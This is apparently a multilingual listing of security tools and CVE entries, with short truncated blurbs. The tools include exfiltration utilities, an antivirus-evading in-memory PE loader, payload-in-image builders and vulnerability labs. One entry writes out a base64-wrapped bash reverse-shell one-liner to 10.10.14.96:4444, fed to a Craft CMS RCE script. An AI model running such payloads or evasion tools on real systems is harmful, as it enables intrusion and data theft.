shellme

shellme Porque às vezes você só precisa de shellcode e opcodes rapidamente. Isso essencialmente apenas encapsula algumas chamadas nasm/objdump em um script organizado. root@kitploit: bryan@devbox:/shellme$ python shellme.py usage: shellme.py -h -n FILE -o OUTPUT -i INSTRUCTION -a ARCH optional...

StegaStamp

StegaStamp: Hyperlinks Invisíveis em Fotografias Físicas Página do Projeto CVPR 2020 Matthew Tancik, Ben Mildenhall, Ren Ng Universidade da Califórnia, Berkeley Introdução Este repositório é uma versão do código para o relatório ArXiv encontrado aqui. O projeto explora a ocultação de dados em...

ICMPExfil

ICMP Exfil ICMP Exfil ti consente di trasmettere dati tramite pacchetti ICMP validi. Usi lo script client per passare i dati che desideri esfiltrare, poi sul dispositivo a cui stai trasmettendo esegui il server. Chiunque osservi – umano o sistema di sicurezza – vedrà solo pacchetti ICMP validi, n...

amber

Introduzione Amber è un caricatore PE position-independent riflessivo che consente l'esecuzione in memoria di file PE nativi EXE, DLL, SYS.... Permette un dispiegamento stealth di payload in memoria che può essere utilizzato per bypassare prodotti antivirus, firewall, IDS, IPS e mitigazioni di...

CVE-2024-2961

CVE-2024-2961 CVE-2024–2961 Script di mitigazione del problema di sicurezza Descrizione Questa repository contiene uno script Bash per verificare e mitigare la vulnerabilità di buffer overflow identificata in GNU libc glibc versione 2.39 e precedenti, nota come CVE-2024-2961. Tale vulnerabilità...

awesome-web-security

Awesome Web Security 🐶 Kuratierte Liste von Web-Sicherheitsmaterialien und -ressourcen. Es versteht sich von selbst, dass die meisten Websites unter verschiedenen Arten von Fehlern leiden, die letztendlich zu Schwachstellen führen können. Warum passiert das so oft? Dafür kann es viele Faktoren...

CVE-2026-76798

The MongoSQL Transition Readiness Tool (part of MongoDB's SQL/BI Connector stack) writes query text and user names from BI Connector log files into its generated HTML reports without encoding them for the HTML output context. An attacker with low privileges who can issue queries through the BI Co...

CVE-2026-76798 MongoSQL Transition Readiness Tool Improper Output Encoding in Generated HTML Reports

The MongoSQL Transition Readiness Tool writes query text and user names read from BI Connector log files into its generated HTML report without encoding them for that output context. A user able to issue queries through the BI Connector can influence log content so that markup supplied in a query...

CVE-2026-76794 MongoDB BI Connector Transition Readiness Report Improper HTML Encoding When Processing Database Metadata

MongoSQL Transition Readiness Tool does not sufficiently encode database metadata before including it in generated HTML. A MongoDB user with write access can introduce crafted metadata that may cause script code to run when another user generates and opens the report, potentially exposing report...

CVE-2026-76794

MongoSQL Transition Readiness Tool (part of the MongoDB BI Connector) contains an improper HTML encoding flaw when processing database metadata. A MongoDB user with write access can inject crafted metadata that, when another user generates and opens the Transition Readiness Report, may cause scri...

ZipExec

ZipExec ZipExec è un Proof-of-Concept POC per avvolgere strumenti binari in un file zip protetto da password. Questo file zip viene poi codificato in base64 in una stringa che viene ricostruita su disco. Questa stringa codificata viene quindi caricata in un file JScript che, una volta eseguito,...

json-sanitizer

json-sanitizer Bei JSON-ähnlichem Inhalt wandelt der JSON Sanitizer diesen in gültiges JSON um. Erste Schritte - Kontakt Diese Bibliothek kann an beiden Enden einer Daten-Pipeline angebracht werden, um das Postelsche Prinzip zu erfüllen: Sei konservativ bei dem, was du tust, und liberal bei dem,...

DNSExfiltrator

DNSExfiltrator Autor: Arno0x0x - @Arno0x0x DNSExfiltrator ermöglicht die Übertragung Exfiltration einer Datei über einen verdeckten DNS-Anforderungskanal. Im Grunde ist dies ein Tool zum Testen von Datenlecks, das die Exfiltration von Daten über einen verdeckten Kanal erlaubt. DNSExfiltrator...

xinhu-v2.3.2

信呼 v2.3.2 Ambiente di debug per CVE-2023-1773 Aggiunti parametri di debug per il file webmain/task/api/reimplatAction.php, in modo che i dati prima e dopo la codifica vengano restituiti al frontend. Codice sorgente di 信呼 v2.3.2 rainrocka/xinhu at cb732f46f8f1e4614c8cfbef47a0bcbde6ecce34 Per il...

craftcms-cve-2025-32432-rce

root@kitploit: payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

PacketWhisper

PacketWhisper PacketWhisper - Transfira dados de forma furtiva e evite atribuição usando consultas DNS e esteganografia baseada em texto, sem a necessidade de servidores de nomes ou domínios controlados pelo atacante; Burle dispositivos DLP/MLS; Supere controles de lista de permissão de dados e...

pixload

pixload -- Strumenti per la creazione di payload nelle immagini DESCRIZIONE Insieme di strumenti per nascondere backdoor creare/iniettare payload nelle immagini. I seguenti tipi di immagine sono attualmente supportati: BMP, GIF, JPG, PNG, WebP. informazioni Riferimenti utili per comprendere megli...

keypair

keypair Genera una coppia di chiavi RSA PEM in puro JS Utilizzo root@kitploit: var keypair = require'keypair'; var pair = keypair; console.logpair; restituisce root@kitploit: $ node example.js public: '-----BEGIN RSA PUBLIC...

CVE-2026-9811

CVE-2026-9811 CVE-2026-9811 è una vulnerabilità di Cross-Site Scripting persistente Stored XSS che colpisce Mautic 7 versioni dalla 7.0.0 alla 7.1.1. La vulnerabilità è presente nel componente Project Selector, dove i nomi dei progetti restituiti tramite una richiesta AJAX vengono inseriti nella...

cve-2021-41773-lab

CVE-2021-41773 — Laboratorio FastAPI minimale Un piccolo laboratorio FastAPI autonomo che dimostra come la decodifica dell'input utente prima della validazione dei confini del filesystem possa portare a directory traversal e local file inclusion LFI, ispirato ai problemi del server Apache HTTP...